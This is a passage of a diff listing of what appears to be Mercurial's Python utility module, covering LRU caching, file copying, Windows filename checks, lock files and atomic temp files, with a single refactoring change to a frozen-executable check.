1563 1564
1564 1565 # Walk the linked list backwards starting at tail node until we hit
1565 1566 # a non-empty node.
1566 1567 n = self._head.prev
1567 1568 while n.key is _notset:
1568 1569 n = n.prev
1569 1570
1570 1571 key, value = n.key, n.value
1571 1572
1572 1573 # And remove it from the cache and mark it as empty.
1573 1574 del self._cache[n.key]
1574 1575 self.totalcost -= n.cost
1575 1576 n.markempty()
1576 1577
1577 1578 return key, value
1578 1579
1579 1580 def _movetohead(self, node):
1580 1581 """Mark a node as the newest, making it the new head.
1581 1582
1582 1583 When a node is accessed, it becomes the freshest entry in the LRU
1583 1584 list, which is denoted by self._head.
1584 1585
1585 1586 Visually, let's make ``N`` the new head node (* denotes head):
1586 1587
1587 1588 previous/oldest <-> head <-> next/next newest
1588 1589
1589 1590 ----<->--- A* ---<->-----
1590 1591 | |
1591 1592 E <-> D <-> N <-> C <-> B
1592 1593
1593 1594 To:
1594 1595
1595 1596 ----<->--- N* ---<->-----
1596 1597 | |
1597 1598 E <-> D <-> C <-> B <-> A
1598 1599
1599 1600 This requires the following moves:
1600 1601
1601 1602 C.next = D (node.prev.next = node.next)
1602 1603 D.prev = C (node.next.prev = node.prev)
1603 1604 E.next = N (head.prev.next = node)
1604 1605 N.prev = E (node.prev = head.prev)
1605 1606 N.next = A (node.next = head)
1606 1607 A.prev = N (head.prev = node)
1607 1608 """
1608 1609 head = self._head
1609 1610 # C.next = D
1610 1611 node.prev.next = node.next
1611 1612 # D.prev = C
1612 1613 node.next.prev = node.prev
1613 1614 # N.prev = E
1614 1615 node.prev = head.prev
1615 1616 # N.next = A
1616 1617 # It is tempting to do just "head" here, however if node is
1617 1618 # adjacent to head, this will do bad things.
1618 1619 node.next = head.prev.next
1619 1620 # E.next = N
1620 1621 node.next.prev = node
1621 1622 # A.prev = N
1622 1623 node.prev.next = node
1623 1624
1624 1625 self._head = node
1625 1626
1626 1627 def _addcapacity(self):
1627 1628 """Add a node to the circular linked list.
1628 1629
1629 1630 The new node is inserted before the head node.
1630 1631 """
1631 1632 head = self._head
1632 1633 node = _lrucachenode()
1633 1634 head.prev.next = node
1634 1635 node.prev = head.prev
1635 1636 node.next = head
1636 1637 head.prev = node
1637 1638 self._size += 1
1638 1639 return node
1639 1640
1640 1641 def _enforcecostlimit(self):
1641 1642 # This should run after an insertion. It should only be called if total
1642 1643 # cost limits are being enforced.
1643 1644 # The most recently inserted node is never evicted.
1644 1645 if len(self) <= 1 or self.totalcost <= self.maxcost:
1645 1646 return
1646 1647
1647 1648 # This is logically equivalent to calling popoldest() until we
1648 1649 # free up enough cost. We don't do that since popoldest() needs
1649 1650 # to walk the linked list and doing this in a loop would be
1650 1651 # quadratic. So we find the first non-empty node and then
1651 1652 # walk nodes until we free up enough capacity.
1652 1653 #
1653 1654 # If we only removed the minimum number of nodes to free enough
1654 1655 # cost at insert time, chances are high that the next insert would
1655 1656 # also require pruning. This would effectively constitute quadratic
1656 1657 # behavior for insert-heavy workloads. To mitigate this, we set a
1657 1658 # target cost that is a percentage of the max cost. This will tend
1658 1659 # to free more nodes when the high water mark is reached, which
1659 1660 # lowers the chances of needing to prune on the subsequent insert.
1660 1661 targetcost = int(self.maxcost * 0.75)
1661 1662
1662 1663 n = self._head.prev
1663 1664 while n.key is _notset:
1664 1665 n = n.prev
1665 1666
1666 1667 while len(self) > 1 and self.totalcost > targetcost:
1667 1668 del self._cache[n.key]
1668 1669 self.totalcost -= n.cost
1669 1670 n.markempty()
1670 1671 n = n.prev
1671 1672
1672 1673
1673 1674 def lrucachefunc(func):
1674 1675 '''cache most recent results of function calls'''
1675 1676 cache = {}
1676 1677 order = collections.deque()
1677 1678 if func.__code__.co_argcount == 1:
1678 1679
1679 1680 def f(arg):
1680 1681 if arg not in cache:
1681 1682 if len(cache) > 20:
1682 1683 del cache[order.popleft()]
1683 1684 cache[arg] = func(arg)
1684 1685 else:
1685 1686 order.remove(arg)
1686 1687 order.append(arg)
1687 1688 return cache[arg]
1688 1689
1689 1690 else:
1690 1691
1691 1692 def f(*args):
1692 1693 if args not in cache:
1693 1694 if len(cache) > 20:
1694 1695 del cache[order.popleft()]
1695 1696 cache[args] = func(*args)
1696 1697 else:
1697 1698 order.remove(args)
1698 1699 order.append(args)
1699 1700 return cache[args]
1700 1701
1701 1702 return f
1702 1703
1703 1704
1704 1705 class propertycache(object):
1705 1706 def __init__(self, func):
1706 1707 self.func = func
1707 1708 self.name = func.__name__
1708 1709
1709 1710 def __get__(self, obj, type=None):
1710 1711 result = self.func(obj)
1711 1712 self.cachevalue(obj, result)
1712 1713 return result
1713 1714
1714 1715 def cachevalue(self, obj, value):
1715 1716 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1716 1717 obj.__dict__[self.name] = value
1717 1718
1718 1719
1719 1720 def clearcachedproperty(obj, prop):
1720 1721 '''clear a cached property value, if one has been set'''
1721 1722 prop = pycompat.sysstr(prop)
1722 1723 if prop in obj.__dict__:
1723 1724 del obj.__dict__[prop]
1724 1725
1725 1726
1726 1727 def increasingchunks(source, min=1024, max=65536):
1727 1728 '''return no less than min bytes per chunk while data remains,
1728 1729 doubling min after each chunk until it reaches max'''
1729 1730
1730 1731 def log2(x):
1731 1732 if not x:
1732 1733 return 0
1733 1734 i = 0
1734 1735 while x:
1735 1736 x >>= 1
1736 1737 i += 1
1737 1738 return i - 1
1738 1739
1739 1740 buf = []
1740 1741 blen = 0
1741 1742 for chunk in source:
1742 1743 buf.append(chunk)
1743 1744 blen += len(chunk)
1744 1745 if blen >= min:
1745 1746 if min < max:
1746 1747 min = min << 1
1747 1748 nmin = 1 << log2(blen)
1748 1749 if nmin > min:
1749 1750 min = nmin
1750 1751 if min > max:
1751 1752 min = max
1752 1753 yield b''.join(buf)
1753 1754 blen = 0
1754 1755 buf = []
1755 1756 if buf:
1756 1757 yield b''.join(buf)
1757 1758
1758 1759
1759 1760 def always(fn):
1760 1761 return True
1761 1762
1762 1763
1763 1764 def never(fn):
1764 1765 return False
1765 1766
1766 1767
1767 1768 def nogc(func):
1768 1769 """disable garbage collector
1769 1770
1770 1771 Python's garbage collector triggers a GC each time a certain number of
1771 1772 container objects (the number being defined by gc.get_threshold()) are
1772 1773 allocated even when marked not to be tracked by the collector. Tracking has
1773 1774 no effect on when GCs are triggered, only on what objects the GC looks
1774 1775 into. As a workaround, disable GC while building complex (huge)
1775 1776 containers.
1776 1777
1777 1778 This garbage collector issue have been fixed in 2.7. But it still affect
1778 1779 CPython's performance.
1779 1780 """
1780 1781
1781 1782 def wrapper(*args, **kwargs):
1782 1783 gcenabled = gc.isenabled()
1783 1784 gc.disable()
1784 1785 try:
1785 1786 return func(*args, **kwargs)
1786 1787 finally:
1787 1788 if gcenabled:
1788 1789 gc.enable()
1789 1790
1790 1791 return wrapper
1791 1792
1792 1793
1793 1794 if pycompat.ispypy:
1794 1795 # PyPy runs slower with gc disabled
1795 1796 nogc = lambda x: x
1796 1797
1797 1798
1798 1799 def pathto(root, n1, n2):
1799 1800 '''return the relative path from one place to another.
1800 1801 root should use os.sep to separate directories
1801 1802 n1 should use os.sep to separate directories
1802 1803 n2 should use "/" to separate directories
1803 1804 returns an os.sep-separated path.
1804 1805
1805 1806 If n1 is a relative path, it's assumed it's
1806 1807 relative to root.
1807 1808 n2 should always be relative to root.
1808 1809 '''
1809 1810 if not n1:
1810 1811 return localpath(n2)
1811 1812 if os.path.isabs(n1):
1812 1813 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1813 1814 return os.path.join(root, localpath(n2))
1814 1815 n2 = b'/'.join((pconvert(root), n2))
1815 1816 a, b = splitpath(n1), n2.split(b'/')
1816 1817 a.reverse()
1817 1818 b.reverse()
1818 1819 while a and b and a[-1] == b[-1]:
1819 1820 a.pop()
1820 1821 b.pop()
1821 1822 b.reverse()
1822 1823 return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.'
1823 1824
1824 1825
1825 1826 # the location of data files matching the source code
1826 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1827 if resourceutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1827 1828 # executable version (py2exe) doesn't support __file__
1828 1829 datapath = os.path.dirname(pycompat.sysexecutable)
1829 1830 else:
1830 1831 datapath = os.path.dirname(pycompat.fsencode(__file__))
1831 1832
1832 1833 i18n.setdatapath(datapath)
1833 1834
1834 1835
1835 1836 def checksignature(func):
1836 1837 '''wrap a function with code to check for calling errors'''
1837 1838
1838 1839 def check(*args, **kwargs):
1839 1840 try:
1840 1841 return func(*args, **kwargs)
1841 1842 except TypeError:
1842 1843 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1843 1844 raise error.SignatureError
1844 1845 raise
1845 1846
1846 1847 return check
1847 1848
1848 1849
1849 1850 # a whilelist of known filesystems where hardlink works reliably
1850 1851 _hardlinkfswhitelist = {
1851 1852 b'apfs',
1852 1853 b'btrfs',
1853 1854 b'ext2',
1854 1855 b'ext3',
1855 1856 b'ext4',
1856 1857 b'hfs',
1857 1858 b'jfs',
1858 1859 b'NTFS',
1859 1860 b'reiserfs',
1860 1861 b'tmpfs',
1861 1862 b'ufs',
1862 1863 b'xfs',
1863 1864 b'zfs',
1864 1865 }
1865 1866
1866 1867
1867 1868 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1868 1869 '''copy a file, preserving mode and optionally other stat info like
1869 1870 atime/mtime
1870 1871
1871 1872 checkambig argument is used with filestat, and is useful only if
1872 1873 destination file is guarded by any lock (e.g. repo.lock or
1873 1874 repo.wlock).
1874 1875
1875 1876 copystat and checkambig should be exclusive.
1876 1877 '''
1877 1878 assert not (copystat and checkambig)
1878 1879 oldstat = None
1879 1880 if os.path.lexists(dest):
1880 1881 if checkambig:
1881 1882 oldstat = checkambig and filestat.frompath(dest)
1882 1883 unlink(dest)
1883 1884 if hardlink:
1884 1885 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1885 1886 # unless we are confident that dest is on a whitelisted filesystem.
1886 1887 try:
1887 1888 fstype = getfstype(os.path.dirname(dest))
1888 1889 except OSError:
1889 1890 fstype = None
1890 1891 if fstype not in _hardlinkfswhitelist:
1891 1892 hardlink = False
1892 1893 if hardlink:
1893 1894 try:
1894 1895 oslink(src, dest)
1895 1896 return
1896 1897 except (IOError, OSError):
1897 1898 pass # fall back to normal copy
1898 1899 if os.path.islink(src):
1899 1900 os.symlink(os.readlink(src), dest)
1900 1901 # copytime is ignored for symlinks, but in general copytime isn't needed
1901 1902 # for them anyway
1902 1903 else:
1903 1904 try:
1904 1905 shutil.copyfile(src, dest)
1905 1906 if copystat:
1906 1907 # copystat also copies mode
1907 1908 shutil.copystat(src, dest)
1908 1909 else:
1909 1910 shutil.copymode(src, dest)
1910 1911 if oldstat and oldstat.stat:
1911 1912 newstat = filestat.frompath(dest)
1912 1913 if newstat.isambig(oldstat):
1913 1914 # stat of copied file is ambiguous to original one
1914 1915 advanced = (
1915 1916 oldstat.stat[stat.ST_MTIME] + 1
1916 1917 ) & 0x7FFFFFFF
1917 1918 os.utime(dest, (advanced, advanced))
1918 1919 except shutil.Error as inst:
1919 1920 raise error.Abort(str(inst))
1920 1921
1921 1922
1922 1923 def copyfiles(src, dst, hardlink=None, progress=None):
1923 1924 """Copy a directory tree using hardlinks if possible."""
1924 1925 num = 0
1925 1926
1926 1927 def settopic():
1927 1928 if progress:
1928 1929 progress.topic = _(b'linking') if hardlink else _(b'copying')
1929 1930
1930 1931 if os.path.isdir(src):
1931 1932 if hardlink is None:
1932 1933 hardlink = (
1933 1934 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev
1934 1935 )
1935 1936 settopic()
1936 1937 os.mkdir(dst)
1937 1938 for name, kind in listdir(src):
1938 1939 srcname = os.path.join(src, name)
1939 1940 dstname = os.path.join(dst, name)
1940 1941 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1941 1942 num += n
1942 1943 else:
1943 1944 if hardlink is None:
1944 1945 hardlink = (
1945 1946 os.stat(os.path.dirname(src)).st_dev
1946 1947 == os.stat(os.path.dirname(dst)).st_dev
1947 1948 )
1948 1949 settopic()
1949 1950
1950 1951 if hardlink:
1951 1952 try:
1952 1953 oslink(src, dst)
1953 1954 except (IOError, OSError):
1954 1955 hardlink = False
1955 1956 shutil.copy(src, dst)
1956 1957 else:
1957 1958 shutil.copy(src, dst)
1958 1959 num += 1
1959 1960 if progress:
1960 1961 progress.increment()
1961 1962
1962 1963 return hardlink, num
1963 1964
1964 1965
1965 1966 _winreservednames = {
1966 1967 b'con',
1967 1968 b'prn',
1968 1969 b'aux',
1969 1970 b'nul',
1970 1971 b'com1',
1971 1972 b'com2',
1972 1973 b'com3',
1973 1974 b'com4',
1974 1975 b'com5',
1975 1976 b'com6',
1976 1977 b'com7',
1977 1978 b'com8',
1978 1979 b'com9',
1979 1980 b'lpt1',
1980 1981 b'lpt2',
1981 1982 b'lpt3',
1982 1983 b'lpt4',
1983 1984 b'lpt5',
1984 1985 b'lpt6',
1985 1986 b'lpt7',
1986 1987 b'lpt8',
1987 1988 b'lpt9',
1988 1989 }
1989 1990 _winreservedchars = b':*?"<>|'
1990 1991
1991 1992
1992 1993 def checkwinfilename(path):
1993 1994 r'''Check that the base-relative path is a valid filename on Windows.
1994 1995 Returns None if the path is ok, or a UI string describing the problem.
1995 1996
1996 1997 >>> checkwinfilename(b"just/a/normal/path")
1997 1998 >>> checkwinfilename(b"foo/bar/con.xml")
1998 1999 "filename contains 'con', which is reserved on Windows"
1999 2000 >>> checkwinfilename(b"foo/con.xml/bar")
2000 2001 "filename contains 'con', which is reserved on Windows"
2001 2002 >>> checkwinfilename(b"foo/bar/xml.con")
2002 2003 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
2003 2004 "filename contains 'AUX', which is reserved on Windows"
2004 2005 >>> checkwinfilename(b"foo/bar/bla:.txt")
2005 2006 "filename contains ':', which is reserved on Windows"
2006 2007 >>> checkwinfilename(b"foo/bar/b\07la.txt")
2007 2008 "filename contains '\\x07', which is invalid on Windows"
2008 2009 >>> checkwinfilename(b"foo/bar/bla ")
2009 2010 "filename ends with ' ', which is not allowed on Windows"
2010 2011 >>> checkwinfilename(b"../bar")
2011 2012 >>> checkwinfilename(b"foo\\")
2012 2013 "filename ends with '\\', which is invalid on Windows"
2013 2014 >>> checkwinfilename(b"foo\\/bar")
2014 2015 "directory name ends with '\\', which is invalid on Windows"
2015 2016 '''
2016 2017 if path.endswith(b'\\'):
2017 2018 return _(b"filename ends with '\\', which is invalid on Windows")
2018 2019 if b'\\/' in path:
2019 2020 return _(b"directory name ends with '\\', which is invalid on Windows")
2020 2021 for n in path.replace(b'\\', b'/').split(b'/'):
2021 2022 if not n:
2022 2023 continue
2023 2024 for c in _filenamebytestr(n):
2024 2025 if c in _winreservedchars:
2025 2026 return (
2026 2027 _(
2027 2028 b"filename contains '%s', which is reserved "
2028 2029 b"on Windows"
2029 2030 )
2030 2031 % c
2031 2032 )
2032 2033 if ord(c) <= 31:
2033 2034 return _(
2034 2035 b"filename contains '%s', which is invalid on Windows"
2035 2036 ) % stringutil.escapestr(c)
2036 2037 base = n.split(b'.')[0]
2037 2038 if base and base.lower() in _winreservednames:
2038 2039 return (
2039 2040 _(b"filename contains '%s', which is reserved on Windows")
2040 2041 % base
2041 2042 )
2042 2043 t = n[-1:]
2043 2044 if t in b'. ' and n not in b'..':
2044 2045 return (
2045 2046 _(
2046 2047 b"filename ends with '%s', which is not allowed "
2047 2048 b"on Windows"
2048 2049 )
2049 2050 % t
2050 2051 )
2051 2052
2052 2053
2053 2054 if pycompat.iswindows:
2054 2055 checkosfilename = checkwinfilename
2055 2056 timer = time.clock
2056 2057 else:
2057 2058 checkosfilename = platform.checkosfilename
2058 2059 timer = time.time
2059 2060
2060 2061 if safehasattr(time, "perf_counter"):
2061 2062 timer = time.perf_counter
2062 2063
2063 2064
2064 2065 def makelock(info, pathname):
2065 2066 """Create a lock file atomically if possible
2066 2067
2067 2068 This may leave a stale lock file if symlink isn't supported and signal
2068 2069 interrupt is enabled.
2069 2070 """
2070 2071 try:
2071 2072 return os.symlink(info, pathname)
2072 2073 except OSError as why:
2073 2074 if why.errno == errno.EEXIST:
2074 2075 raise
2075 2076 except AttributeError: # no symlink in os
2076 2077 pass
2077 2078
2078 2079 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
2079 2080 ld = os.open(pathname, flags)
2080 2081 os.write(ld, info)
2081 2082 os.close(ld)
2082 2083
2083 2084
2084 2085 def readlock(pathname):
2085 2086 try:
2086 2087 return readlink(pathname)
2087 2088 except OSError as why:
2088 2089 if why.errno not in (errno.EINVAL, errno.ENOSYS):
2089 2090 raise
2090 2091 except AttributeError: # no symlink in os
2091 2092 pass
2092 2093 with posixfile(pathname, b'rb') as fp:
2093 2094 return fp.read()
2094 2095
2095 2096
2096 2097 def fstat(fp):
2097 2098 '''stat file object that may not have fileno method.'''
2098 2099 try:
2099 2100 return os.fstat(fp.fileno())
2100 2101 except AttributeError:
2101 2102 return os.stat(fp.name)
2102 2103
2103 2104
2104 2105 # File system features
2105 2106
2106 2107
2107 2108 def fscasesensitive(path):
2108 2109 """
2109 2110 Return true if the given path is on a case-sensitive filesystem
2110 2111
2111 2112 Requires a path (like /foo/.hg) ending with a foldable final
2112 2113 directory component.
2113 2114 """
2114 2115 s1 = os.lstat(path)
2115 2116 d, b = os.path.split(path)
2116 2117 b2 = b.upper()
2117 2118 if b == b2:
2118 2119 b2 = b.lower()
2119 2120 if b == b2:
2120 2121 return True # no evidence against case sensitivity
2121 2122 p2 = os.path.join(d, b2)
2122 2123 try:
2123 2124 s2 = os.lstat(p2)
2124 2125 if s2 == s1:
2125 2126 return False
2126 2127 return True
2127 2128 except OSError:
2128 2129 return True
2129 2130
2130 2131
2131 2132 try:
2132 2133 import re2
2133 2134
2134 2135 _re2 = None
2135 2136 except ImportError:
2136 2137 _re2 = False
2137 2138
2138 2139
2139 2140 class _re(object):
2140 2141 def _checkre2(self):
2141 2142 global _re2
2142 2143 try:
2143 2144 # check if match works, see issue3964
2144 2145 _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]'))
2145 2146 except ImportError:
2146 2147 _re2 = False
2147 2148
2148 2149 def compile(self, pat, flags=0):
2149 2150 '''Compile a regular expression, using re2 if possible
2150 2151
2151 2152 For best performance, use only re2-compatible regexp features. The
2152 2153 only flags from the re module that are re2-compatible are
2153 2154 IGNORECASE and MULTILINE.'''
2154 2155 if _re2 is None:
2155 2156 self._checkre2()
2156 2157 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
2157 2158 if flags & remod.IGNORECASE:
2158 2159 pat = b'(?i)' + pat
2159 2160 if flags & remod.MULTILINE:
2160 2161 pat = b'(?m)' + pat
2161 2162 try:
2162 2163 return re2.compile(pat)
2163 2164 except re2.error:
2164 2165 pass
2165 2166 return remod.compile(pat, flags)
2166 2167
2167 2168 @propertycache
2168 2169 def escape(self):
2169 2170 '''Return the version of escape corresponding to self.compile.
2170 2171
2171 2172 This is imperfect because whether re2 or re is used for a particular
2172 2173 function depends on the flags, etc, but it's the best we can do.
2173 2174 '''
2174 2175 global _re2
2175 2176 if _re2 is None:
2176 2177 self._checkre2()
2177 2178 if _re2:
2178 2179 return re2.escape
2179 2180 else:
2180 2181 return remod.escape
2181 2182
2182 2183
2183 2184 re = _re()
2184 2185
2185 2186 _fspathcache = {}
2186 2187
2187 2188
2188 2189 def fspath(name, root):
2189 2190 '''Get name in the case stored in the filesystem
2190 2191
2191 2192 The name should be relative to root, and be normcase-ed for efficiency.
2192 2193
2193 2194 Note that this function is unnecessary, and should not be
2194 2195 called, for case-sensitive filesystems (simply because it's expensive).
2195 2196
2196 2197 The root should be normcase-ed, too.
2197 2198 '''
2198 2199
2199 2200 def _makefspathcacheentry(dir):
2200 2201 return dict((normcase(n), n) for n in os.listdir(dir))
2201 2202
2202 2203 seps = pycompat.ossep
2203 2204 if pycompat.osaltsep:
2204 2205 seps = seps + pycompat.osaltsep
2205 2206 # Protect backslashes. This gets silly very quickly.
2206 2207 seps.replace(b'\\', b'\\\\')
2207 2208 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
2208 2209 dir = os.path.normpath(root)
2209 2210 result = []
2210 2211 for part, sep in pattern.findall(name):
2211 2212 if sep:
2212 2213 result.append(sep)
2213 2214 continue
2214 2215
2215 2216 if dir not in _fspathcache:
2216 2217 _fspathcache[dir] = _makefspathcacheentry(dir)
2217 2218 contents = _fspathcache[dir]
2218 2219
2219 2220 found = contents.get(part)
2220 2221 if not found:
2221 2222 # retry "once per directory" per "dirstate.walk" which
2222 2223 # may take place for each patches of "hg qpush", for example
2223 2224 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
2224 2225 found = contents.get(part)
2225 2226
2226 2227 result.append(found or part)
2227 2228 dir = os.path.join(dir, part)
2228 2229
2229 2230 return b''.join(result)
2230 2231
2231 2232
2232 2233 def checknlink(testfile):
2233 2234 '''check whether hardlink count reporting works properly'''
2234 2235
2235 2236 # testfile may be open, so we need a separate file for checking to
2236 2237 # work around issue2543 (or testfile may get lost on Samba shares)
2237 2238 f1, f2, fp = None, None, None
2238 2239 try:
2239 2240 fd, f1 = pycompat.mkstemp(
2240 2241 prefix=b'.%s-' % os.path.basename(testfile),
2241 2242 suffix=b'1~',
2242 2243 dir=os.path.dirname(testfile),
2243 2244 )
2244 2245 os.close(fd)
2245 2246 f2 = b'%s2~' % f1[:-2]
2246 2247
2247 2248 oslink(f1, f2)
2248 2249 # nlinks() may behave differently for files on Windows shares if
2249 2250 # the file is open.
2250 2251 fp = posixfile(f2)
2251 2252 return nlinks(f2) > 1
2252 2253 except OSError:
2253 2254 return False
2254 2255 finally:
2255 2256 if fp is not None:
2256 2257 fp.close()
2257 2258 for f in (f1, f2):
2258 2259 try:
2259 2260 if f is not None:
2260 2261 os.unlink(f)
2261 2262 except OSError:
2262 2263 pass
2263 2264
2264 2265
2265 2266 def endswithsep(path):
2266 2267 '''Check path ends with os.sep or os.altsep.'''
2267 2268 return (
2268 2269 path.endswith(pycompat.ossep)
2269 2270 or pycompat.osaltsep
2270 2271 and path.endswith(pycompat.osaltsep)
2271 2272 )
2272 2273
2273 2274
2274 2275 def splitpath(path):
2275 2276 '''Split path by os.sep.
2276 2277 Note that this function does not use os.altsep because this is
2277 2278 an alternative of simple "xxx.split(os.sep)".
2278 2279 It is recommended to use os.path.normpath() before using this
2279 2280 function if need.'''
2280 2281 return path.split(pycompat.ossep)
2281 2282
2282 2283
2283 2284 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
2284 2285 """Create a temporary file with the same contents from name
2285 2286
2286 2287 The permission bits are copied from the original file.
2287 2288
2288 2289 If the temporary file is going to be truncated immediately, you
2289 2290 can use emptyok=True as an optimization.
2290 2291
2291 2292 Returns the name of the temporary file.
2292 2293 """
2293 2294 d, fn = os.path.split(name)
2294 2295 fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d)
2295 2296 os.close(fd)
2296 2297 # Temporary files are created with mode 0600, which is usually not
2297 2298 # what we want. If the original file already exists, just copy
2298 2299 # its mode. Otherwise, manually obey umask.
2299 2300 copymode(name, temp, createmode, enforcewritable)
2300 2301
2301 2302 if emptyok:
2302 2303 return temp
2303 2304 try:
2304 2305 try:
2305 2306 ifp = posixfile(name, b"rb")
2306 2307 except IOError as inst:
2307 2308 if inst.errno == errno.ENOENT:
2308 2309 return temp
2309 2310 if not getattr(inst, 'filename', None):
2310 2311 inst.filename = name
2311 2312 raise
2312 2313 ofp = posixfile(temp, b"wb")
2313 2314 for chunk in filechunkiter(ifp):
2314 2315 ofp.write(chunk)
2315 2316 ifp.close()
2316 2317 ofp.close()
2317 2318 except: # re-raises
2318 2319 try:
2319 2320 os.unlink(temp)
2320 2321 except OSError:
2321 2322 pass
2322 2323 raise
2323 2324 return temp
2324 2325
2325 2326
2326 2327 class filestat(object):
2327 2328 """help to exactly detect change of a file
2328 2329
2329 2330 'stat' attribute is result of 'os.stat()' if specified 'path'
2330 2331 exists. Otherwise, it is None. This can avoid preparative
2331 2332 'exists()' examination on client side of this class.
2332 2333 """
2333 2334
2334 2335 def __init__(self, stat):
2335 2336 self.stat = stat
2336 2337
2337 2338 @classmethod
2338 2339 def frompath(cls, path):
2339 2340 try:
2340 2341 stat = os.stat(path)
2341 2342 except OSError as err:
2342 2343 if err.errno != errno.ENOENT:
2343 2344 raise
2344 2345 stat = None
2345 2346 return cls(stat)
2346 2347
2347 2348 @classmethod
2348 2349 def fromfp(cls, fp):
2349 2350 stat = os.fstat(fp.fileno())
2350 2351 return cls(stat)
2351 2352
2352 2353 __hash__ = object.__hash__
2353 2354
2354 2355 def __eq__(self, old):
2355 2356 try:
2356 2357 # if ambiguity between stat of new and old file is
2357 2358 # avoided, comparison of size, ctime and mtime is enough
2358 2359 # to exactly detect change of a file regardless of platform
2359 2360 return (
2360 2361 self.stat.st_size == old.stat.st_size
2361 2362 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2362 2363 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]
2363 2364 )
2364 2365 except AttributeError:
2365 2366 pass
2366 2367 try:
2367 2368 return self.stat is None and old.stat is None
2368 2369 except AttributeError:
2369 2370 return False
2370 2371
2371 2372 def isambig(self, old):
2372 2373 """Examine whether new (= self) stat is ambiguous against old one
2373 2374
2374 2375 "S[N]" below means stat of a file at N-th change:
2375 2376
2376 2377 - S[n-1].ctime < S[n].ctime: can detect change of a file
2377 2378 - S[n-1].ctime == S[n].ctime
2378 2379 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2379 2380 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2380 2381 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2381 2382 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2382 2383
2383 2384 Case (*2) above means that a file was changed twice or more at
2384 2385 same time in sec (= S[n-1].ctime), and comparison of timestamp
2385 2386 is ambiguous.
2386 2387
2387 2388 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2388 2389 timestamp is ambiguous".
2389 2390
2390 2391 But advancing mtime only in case (*2) doesn't work as
2391 2392 expected, because naturally advanced S[n].mtime in case (*1)
2392 2393 might be equal to manually advanced S[n-1 or earlier].mtime.
2393 2394
2394 2395 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2395 2396 treated as ambiguous regardless of mtime, to avoid overlooking
2396 2397 by confliction between such mtime.
2397 2398
2398 2399 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2399 2400 S[n].mtime", even if size of a file isn't changed.
2400 2401 """
2401 2402 try:
2402 2403 return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2403 2404 except AttributeError:
2404 2405 return False
2405 2406
2406 2407 def avoidambig(self, path, old):
2407 2408 """Change file stat of specified path to avoid ambiguity
2408 2409
2409 2410 'old' should be previous filestat of 'path'.
2410 2411
2411 2412 This skips avoiding ambiguity, if a process doesn't have
2412 2413 appropriate privileges for 'path'. This returns False in this
2413 2414 case.
2414 2415
2415 2416 Otherwise, this returns True, as "ambiguity is avoided".
2416 2417 """
2417 2418 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2418 2419 try:
2419 2420 os.utime(path, (advanced, advanced))
2420 2421 except OSError as inst:
2421 2422 if inst.errno == errno.EPERM:
2422 2423 # utime() on the file created by another user causes EPERM,
2423 2424 # if a process doesn't have appropriate privileges
2424 2425 return False
2425 2426 raise
2426 2427 return True
2427 2428
2428 2429 def __ne__(self, other):
2429 2430 return not self == other
2430 2431
2431 2432
2432 2433 class atomictempfile(object):
2433 2434 '''writable file object that atomically updates a file
2434 2435
2435 2436 All writes will go to a temporary copy of the original file. Call
2436 2437 close() when you are done writing, and atomictempfile will rename
2437 2438 the temporary copy to the original name, making the changes
2438 2439 visible. If the object is destroyed without being closed, all your
2439 2440 writes are discarded.
2440 2441
2441 2442 checkambig argument of constructor is used with filestat, and is
2442 2443 useful only if target file is guarded by any lock (e.g. repo.lock
2443 2444 or repo.wlock).
2444 2445 '''
2445 2446
2446 2447 def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False):
2447 2448 self.__name = name # permanent name
2448 2449 self._tempname = mktempcopy(
2449 2450 name,
2450 2451 emptyok=(b'w' in mode),
2451 2452 createmode=createmode,
2452 2453 enforcewritable=(b'w' in mode),
2453 2454 )
2454 2455
2455 2456 self._fp = posixfile(self._tempname, mode)
2456 2457 self._checkambig = checkambig
2457 2458
2458 2459 # delegated methods
2459 2460 self.read = self._fp.read
2460 2461 self.write = self._fp.write
2461 2462 self.seek = self._fp.seek
2462 2463 self.tell = self._fp.tell
2463 2464 self.fileno = self._fp.fileno
2464 2465
2465 2466 def close(self):
2466 2467 if not self._fp.closed:
2467 2468 self._fp.close()
2468 2469 filename = localpath(self.__name)
2469 2470 oldstat = self._checkambig and filestat.frompath(filename)
2470 2471 if oldstat and oldstat.stat:
2471 2472 rename(self._tempname, filename)
2472 2473 newstat = filestat.frompath(filename)
2473 2474 if newstat.isambig(oldstat):
2474 2475 # stat of changed file is ambiguous to original one
2475 2476 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2476 2477 os.utime(filename, (advanced, advanced))
2477 2478 else:
2478 2479 rename(self._tempname, filename)
2479 2480
2480 2481 def discard(self):
2481 2482 if not self._fp.closed:
2482 2483 try:
2483 2484 os.unlink(self._tempname)
2484 2485 except OSError:
2485 2486 pass
